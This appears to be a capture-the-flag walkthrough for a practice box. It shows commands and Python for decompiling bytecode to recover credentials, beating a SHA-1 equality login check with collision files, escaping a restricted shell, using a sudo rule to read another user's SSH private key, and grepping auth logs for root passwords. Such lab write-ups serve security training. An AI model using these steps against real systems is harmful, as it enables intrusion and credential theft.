A story-driven box: decompile Python bytecode for credentials, talk to a telnet service, beat a SHA-1 collision login gate to win an SSH key, break out of a restricted shell, and read logs for root. Goal: user.txt + root.txt.
1 · Setup + Enumeration
# Map the two virtual hosts
echo "10.10.x.x fortress temple.fortress" >> /etc/hosts
nmap -sC -sV -p- fortress
PORT STATE SERVICE
22/tcp open ssh
5581/tcp open ftp (anonymous)
5752/tcp open telnet
7331/tcp open http Apache
2 · FTP → Python Bytecode
Anonymous FTP hides .file — Python 2.7 compiled bytecode. Decompile it to see the telnet service's hardcoded username/password, stored as big integers via bytes_to_long.
ftp fortress
> ls -la # find .file
> get .file
uncompyle6 .file
# > usern = bytes_to_long(b"...") passw = bytes_to_long(b"...")
# Decode the longs back to strings
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(usern).decode(), long_to_bytes(passw).decode())
3 · Telnet → Secret Page
telnet fortress 5752
# > t3mple_0f_y0ur_51n5
4 · SHA-1 Collision Gate
The .html version of that page shows its PHP source: it compares user and pass by SHA-1 (which must be identical) and also requires lengths > 600 and > 500 bytes. That's a SHA-1 collision — only a few known pairs exist.
import requests
c1 = requests.get("http://localhost/shattered-1.dat").content
c2 = requests.get("http://localhost/shattered-2.dat").content
r = requests.get(
"http://temple.fortress:7331/t3mple_0f_y0ur_51n5.php",
params={'user': c1, 'pass': c2})
print(r.text)
# > m0td_f0r_j4x0n.txt — an SSH private key left by h4rdy
The shattered.io PDFs are ~825KB — way over GET limits. Use pre-built collision files of ~640 bytes each (e.g. from the 2017 Boston Key Party Prudentialv2 writeup); they pass both length checks.
5 · SSH h4rdy — Restricted Shell Escape
h4rdy's shell is rbash: no cd, export or sudo. Force a real shell over SSH, fix PATH, then abuse the sudo rule.
chmod 600 id_rsa
ssh -t -i id_rsa h4rdy@fortress bash
export PATH=$PATH:/bin:/usr/bin
# h4rdy may run /bin/cat as j4x0n — steal the SSH key
sudo -u j4x0n /bin/cat /home/j4x0n/user.txt
sudo -u j4x0n /bin/cat /home/j4x0n/.ssh/id_rsa
6 · j4x0n → root (adm group)
ssh -i j4x0n_rsa j4x0n@fortress
# j4x0n is in the adm group → system logs are readable
id
groups=1001(j4x0n),4(adm)
grep -iE "password|passwd" /var/log/auth.log
# > leaks root's credentials → su / ssh root
su root
cat /root/root.txt
Shortcut: /data/setup.sh — the box's own bootstrap script — writes the root flag as the root password, leaking it directly.
7 · What Made It Work
Step 4 is the one worth remembering. SHA-1 collisions are a real attack against exactly one thing, which is code that compares two hashes for equality, and that is what the login gate does. The two files also have to clear 600 and 500 bytes, which is why the published PDFs don't fit and you need the pre-built pairs instead.